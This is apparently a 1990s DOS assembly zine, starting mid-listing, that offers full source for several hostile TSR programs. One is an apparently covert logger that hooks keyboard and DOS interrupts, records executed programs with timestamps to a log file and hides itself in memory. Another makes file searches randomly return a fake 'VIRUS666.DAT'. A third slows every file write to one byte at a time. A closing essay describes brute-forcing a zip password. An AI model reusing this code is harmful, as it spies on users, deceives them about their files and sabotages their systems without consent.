simint21 ;Open the log file jc trymakingfile ;If error, create log file jmp short movetoend trymakingfile: mov ah, 3ch mov cx, 00100110b call simint21 ;Create the file jc donerecording ;If error, abort movetoend: mov bx, ax mov ax, 4202h xor cx, cx xor dx, dx call simint21 ;Move to the end of the file mov ah, 40h mov cx, [buffersize] mov dx, offset buffer call simint21 ;Write the buffer mov ah, 3eh call simint21 ;Close the buffer donerecording: mov byte ptr [dumpflag], 0 ;Reset the buffer full flag mov word ptr [buffersize], 0 ;Set the buffer size to 0 pop ds pop dx pop cx pop bx pop ax returnhome: retn bufferdump endp recordexec proc near ;push stuff push bp ;[bp] mov bp, sp push ax ;[bp - 2] push bx ;[bp - 4] push cx ;[bp - 6] push ds ;[bp - 8] ;Notice DS and DX are switched push dx ;[bp - 10] push es ;[bp - 12] push si ;[bp - 14] push di ;[bp - 16] push cs pop ds mov ax, 3d01h ;Write access mov dx, offset filename call simint21 ;Open the log file jc trymakingfile2 ;If error, create log file jmp short movetoend2 trymakingfile2: mov ah, 3ch mov cx, 00100110b call simint21 ;Create log file jnc movetoend2 ;If no error, move ptr jmp donerecording2 ;Abort movetoend2: mov bx, ax mov ax, 4202h xor cx, cx xor dx, dx call simint21 ;Move ptr to end of file mov ah, 2ah call simint21 ;Get system date mov al, dh mov si, offset themonth call writetwodigit ;Put month in buffer mov al, dl mov si, offset theday call writetwodigit ;Put day in buffer sub cx, 1900 cmp cx, 100 jb doitnow sub cx, 100 doitnow: mov al, cl mov si, offset theyear call writetwodigit ;Put year in buffer mov ah, 2ch call simint21 ;Get system time mov al, ch mov si, offset thehour call writetwodigit ;Put hour in buffer mov al, cl mov si, offset theminute call writetwodigit ;Put minutes in buffer mov al, dh mov si, offset thesecond call writetwodigit ;Put seconds in buffer mov al, dl mov si, offset thecentisecond call writetwodigit ;Put centiseconds in buffer mov ah, 40h mov cx, offset tagtail - offset taghead mov dx, offset taghead call simint21 ;Write buffer lds dx, [bp - 10] push ds pop es mov di, dx mov cx, 0ffffh cld mov al, 0 repne scasb inc cx mov ah, 40h not cx ;Calculate length of filename call simint21 ;Write filename mov cx, offset endtag - offset tagtail mov dx, offset tagtail mov ah, 40h push cs pop ds call simint21 ;Write tail for EXEC logging mov ah, 3eh call simint21 ;Close file donerecording2: pop di pop si pop es pop dx pop ds pop cx pop bx pop ax pop bp retn recordexec endp writetwodigit proc near push ax push dx mov dl, 10 mov ah, 0 div dl ;Convert number to two digits add ax, 3030h mov [si], ax ;Save digits pop dx pop ax retn writetwodigit endp simint21 proc near pushf call dword ptr cs:[oldint21] ;Simulate INT 21h instruction retn simint21 endp initialize: ;Standard TSR engine cld ;See issue 001 for details push ds xor ax, ax mov ds, ax mov si, 16h * 4 mov di, offset oldint16 cli movsw movsw mov si, 20h * 4 movsw movsw movsw movsw sti pop ds ;let's see if we can load into upper memory... mov cx, offset initialize - offset thedata shr cx, 4 inc cx mov ax, cs dec ax mov es, ax mov ds:[100h], es keepgoing1: mov ax, es:[3] mov bx, es add ax, bx inc ax mov es, ax cmp byte ptr es:[0], 'M' je valid1 cmp byte ptr es:[0], 'Z' jne failed mov ds:[100h], es valid1: cmp ax, 0a000h jb keepgoing1 keepgoing2: mov al, es:[0] cmp al, 'M' je donevalidcheck cmp al, 'Z' je checkitout failed: mov es, ds:[100h] jmp short goresident failed2: mov es, ds:[100h] mov byte ptr ds:[100h], 'M' mov word ptr ds:[101h], 8 mov ax, es add ax, es:[3] inc ax mov ds, ax mov bx, ds:[3] push cs pop ds add bx, cx mov ds:[103h], bx sub es:[3], cx inc cx jmp short goresident2 donevalidcheck: mov ax, es add ax, es:[3] inc ax mov es, ax jmp short keepgoing2 checkitout: mov ax, es:[1] test ax, ax jnz failed2 mov ax, es:[3] cmp ax, cx jb failed2 ;we'll load into memory and hide goresident: mov byte ptr ds:[100h], 'H' mov word ptr ds:[101h], 7965h ; 'ey' in memory mov word ptr ds:[103h], 2021h ; '! ' in memory inc cx sub es:[3], cx goresident2: mov ax, es add ax, es:[3] inc ax mov es, ax mov si, 100h xor di, di shl cx, 1 shl cx, 1 shl cx, 1 rep movsw sub ax, 10h xor bx, bx mov ds, bx cli mov ds:[16h * 4], offset tsr16 mov ds:[16h * 4 + 2], ax mov ds:[20h * 4], offset tsr20 mov ds:[20h * 4 + 2], ax mov ds:[21h * 4], offset tsr21 mov ds:[21h * 4 + 2], ax ;terminate call dword ptr cs:[oldint20] code ends end start <- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - -> ------------------------------------------------------------------------------ Phantom File TSR #007 ---------------- > Introduction < As of the time I am writing this, I have not yet written this TSR. The idea I am thinking of is a TSR that occasionally returns non-existant files during find first/next calls. There are three sets of find first/next calls that can be intercepted. There are FCBs, regular ASCIIZ filename calls, and Win95 calls. I won't cover the last one, since I don't have Win95 to test it on (I'll upgrade when I get a new hard drive, if that ever happens). This shouldn't be a hard program to write. I think that I won't intercept the initial find first call, because if I return a fake file name that time, then the find/next call that follows it will not have been initialized by the find first call. The TSR will intercept Int 21/12 and Int 21/4F calls. If the random number generator does not return the magic number, then control will be passed to the original Int21 handler. If the magic number is returned, then a fake file will be passed back without ever calling the original Int21 handler. > More details < The Int 21/12 call points to an FCB which is used throughout the search. The function returns an FCB containing the file set up in the DTA. A pointer to the DTA can be obtained from Int 21/2F. If the current drive is needed, this can be obtained from Int 21/19. The attribute will always be 00. The Int 21/4F call is easy to spoof. However, the Int 21/4E call must be intercepted so that the search attribute can be obtained. This pair of calls returns more detailed information than Int 21/12. The file's date, time, and size are returned. Once again, the file's attributes will always be 00. > The source code < <- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - -> .8086 code segment byte public assume cs:code, ds:code org 100h sizelo = 02c2ah sizehi = 0ah ;Filesize = 666,666 filetime = 30c3h ;06:06:06 filedate = 34c6h ;06/06/2006 odds = 50 ;The probability is equal to 1 / odds start: jmp initialize nop nop tag db 'phasm 12/97' thedata: oldint dw 0, 0 tsr: cmp ah, 12h ;FCB find next je fcbfind cmp ah, 4fh ;ASCIIZ find next je asciizfind continuechain: jmp dword ptr cs:[oldint] ;Continue int21 chain asciizfind: push ax push bx push dx ;Save registers call getrandom ;Get a random number mov ax, bx xor dx, dx mov bx, odds div bx ;DX = random number 0 to odds - 1 test dx, dx jnz noasciizfun ;If DX not 0, then don't spoof push cx push ds push si push es push di ;Save more registers mov ah, 2fh call simint21 ;Get DTA address lea di, [bx + 15h] ;Get offset of non-reserved area mov al, 0 ;Attributes = 00 cld stosb ;Save attribute mov ax, filetime stosw ;Save file time mov ax, filedate stosw ;Save file date mov ax, sizelo stosw ;Save lo word of size mov ax, sizehi stosw ;Save hi word of size push cs pop ds mov si, offset fakefile mov cx, 13 rep movsb ;Move fake ASCIIZ filename pop di pop es pop si pop ds pop cx pop dx pop bx pop ax ;Restore registers push bp mov bp, sp and byte ptr [bp + 6], 0feh ;Clear carry flag pop bp xor ax, ax ;Not documented, but Int 21/4F ;returns AX = 0 after successful call iret noasciizfun: pop dx pop bx pop ax ;Restore registers jmp short continuechain ;Continue int21 chain fcbfind: push ax ;[bp + 6] push bx ;[bp + 4] push dx ;[bp + 2] ;Save registers call getrandom ;Get random number mov ax, bx xor dx, dx mov bx, odds div bx ;DX = random number 0 to odds - 1 test dx, dx jnz nofcbfun ;If DX not 0, then don't spoof push bp ;[bp] mov bp, sp ;Set up stack frame push ds push si push es push di ;Save more registers mov ah, 2fh call simint21 ;Get DTA address mov si, [bp + 2] ;Get old DX and put in SI cmp byte ptr [si], 0ffh ;Is it an extended FCB? jne makeitfake ;If not, skip next few instructions mov word ptr es:[bx], 00ffh ;Create extended FCB mov word ptr es:[bx + 2], 0 mov word ptr es:[bx + 4], 0 ;Create reserved area mov byte ptr es:[bx + 6], 0 ;Save new attributes add bx, 7 ;Shift FCB's offset so the next add si, 7 ;routine can handle it like reg FCB makeitfake: cld mov di, bx mov al, [si] test al, al ;Searching "default drive"? jnz savedrive ;If not, skip next instructions mov ah, 19h call simint21 ;Get default drive inc al ;Adjust value savedrive: stosb ;Save drive number push cs pop ds mov si, offset fakefile movsw movsw movsw movsw ;Move fake file's main name inc si movsw movsb ;Move fake file's extension mov al, 0 stosb ;Save fake attributes add di, 10 mov ax, filetime stosw ;Save fake time mov ax, filedate stosw ;Save fake date inc di inc di mov ax, sizelo stosw mov ax, sizehi stosw ;Save fake file size pop di pop es pop si pop ds pop bp pop dx pop bx pop ax ;Restore registers mov al, 0 ;Signal successful search iret abortfcbfun: pop di pop es pop si pop ds pop bp nofcbfun: pop dx pop bx pop ax ;Restore registers jmp dword ptr cs:[oldint] ;Continue int21 chain fakefile db 'VIRUS666.DAT', 0 ;Fake filename simint21 proc near pushf ;Push flags call dword ptr cs:[oldint] ;FAR call to simulate INT call retn simint21 endp ;returns bx getrandom proc near ;My standard random number generator push ds push ax push cx mov ax, cs mov ds, ax mov ax, [seedhigh] mov bx, [seedlow] not ax not bx ror ax, 2 rol bx, 1 xor ax, [seedlow] xor bx, [seedhigh] mov cx, [counter] ror cx, cl xor cx, [counter] adc ax, cx rol bx, cl mov [seedhigh], ax mov [seedlow], bx inc word ptr [counter] pop cx pop ax pop ds retn getrandom endp seedhigh dw 0 seedlow dw 0 counter dw 0 initialize: ;And the standard TSR loader call initrandom ;Initialize random number generator cld push ds xor ax, ax mov ds, ax mov si, 21h * 4 mov di, offset oldint cli movsw movsw sti pop ds ;let's see if we can load into upper memory... mov cx, offset initialize - offset thedata shr cx, 4 inc cx mov ax, cs dec ax mov es, ax mov ds:[100h], es keepgoing1: mov ax, es:[3] mov bx, es add ax, bx inc ax mov es, ax cmp byte ptr es:[0], 'M' je valid1 cmp byte ptr es:[0], 'Z' jne failed mov ds:[100h], es valid1: cmp ax, 0a000h jb keepgoing1 keepgoing2: mov al, es:[0] cmp al, 'M' je donevalidcheck cmp al, 'Z' je checkitout failed: mov es, ds:[100h] jmp short goresident failed2: mov es, ds:[100h] mov byte ptr ds:[100h], 'M' mov word ptr ds:[101h], 8 mov ax, es add ax, es:[3] inc ax mov ds, ax mov bx, ds:[3] push cs pop ds add bx, cx mov ds:[103h], bx sub es:[3], cx inc cx jmp short goresident2 donevalidcheck: mov ax, es add ax, es:[3] inc ax mov es, ax jmp short keepgoing2 checkitout: mov ax, es:[1] test ax, ax jnz failed2 mov ax, es:[3] cmp ax, cx jb failed2 ;we'll load into memory and hide goresident: mov byte ptr ds:[100h], 'H' mov word ptr ds:[101h], 7965h ; 'ey' in memory mov word ptr ds:[103h], 2021h ; '! ' in memory inc cx sub es:[3], cx goresident2: mov ax, es add ax, es:[3] inc ax mov es, ax mov si, 100h xor di, di shl cx, 1 shl cx, 1 shl cx, 1 rep movsw sub ax, 10h xor bx, bx mov ds, bx cli mov ds:[21h * 4], offset tsr mov ds:[21h * 4 + 2], ax ;terminate int 20h initrandom proc near ;Initializer won't be TSRed push ax push cx push dx xor ah, ah int 1ah mov cs:[seedhigh], cx mov cs:[seedlow], dx pop dx pop cx pop ax retn initrandom endp code ends end start <- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - -> ------------------------------------------------------------------------------ Slow Writer #008 ----------- > Introduction < This TSR hooks the DOS write-to-file function (AH = 40h) and breaks the write up into a series of 1 byte writes. This seriously slows down any attempts to write to a file. Only the main routine is shown here; the TSR engine is not included here (you can find it in several of the other articles). The loader hooks int 21h, so you should be able to finish this. Well, here's the source code. <- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - -> .8086 code segment byte public assume cs:code, ds:code org 100h start: jmp initialize nop nop tag db 'phasm 12/97' thedata: oldint dw 0, 0 tsr: cmp ah, 40h jne exittsr push cx push dx push si push di mov si, cx mov di, cx mov cx, 1 looper: test si, si jz donewrite pushf call dword ptr cs:[oldint] jc penny dec si inc dx mov ah,40h jmp short looper penny: cmp si, di je returnerror donewrite: sub di, si mov ax, di pop di pop si pop dx pop cx clc retf 2 returnerror: pop di pop si pop dx pop cx stc retf 2 exittsr: jmp dword ptr cs:[oldint] initialize: ;Put the standard TSR engine here and hook Int 21h <- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - -> ------------------------------------------------------------------------------ Some thoughts on background processing #009 -------------------------------------- Recently I helped a friend crack a zip file by taking the C source code for a zip cracker and rewriting it to guess passwords w/o a dictionary, and optimizing it with some assembly. Cracking by guessing requires a lot of time to get anywhere, and it's annoying to have to sit and wait. On my DX2/66 using four character passwords, I got around 24,000 passwords guessed per second. It sounded like a large number, but when compared to the number of possible passwords, it's pretty small. I was using a 91 character set for guessing, so for four character passwords, there are 68,574,961 possible passwords, which would require around 47 minutes of computing. For five character passwords there are 6,240,321,451 possible passwords, which works out to be over two straight days of number crunching. Eventually the password was cracked, but I later thought about making a TSR that sat in the background and worked out stuff like this. It would take longer, but it would be a lot more convenient. Such a program should not slow the computer down significantly, and should work both in Windows and DOS. What interrupts and services would it hook? While in DOS, any key requests such as Int 16/00/10/20 can alternately do background computing and check if a key is ready. Int 1C calls can be intercepted, and depending on your computer, you could specify how much time to spend computing during each clock tick. Another possibility is that during DOS requests for characters or strings from the keyboard, the amount of computing done during Int 1C calls could be increased. Periodically, the program could save its results so that if the computer crashed or was turned off without warning, it could pick up where it last left off. Anyway, I hope this has given someone some ideas. I don't really plan on making such a program any time soon, because I usually don't need to do any background number crunching. Maybe something besides number crunching could be done, such as searching for files, or tracking the amount of free space left. I'm sure there's something useful to be done (gasp!).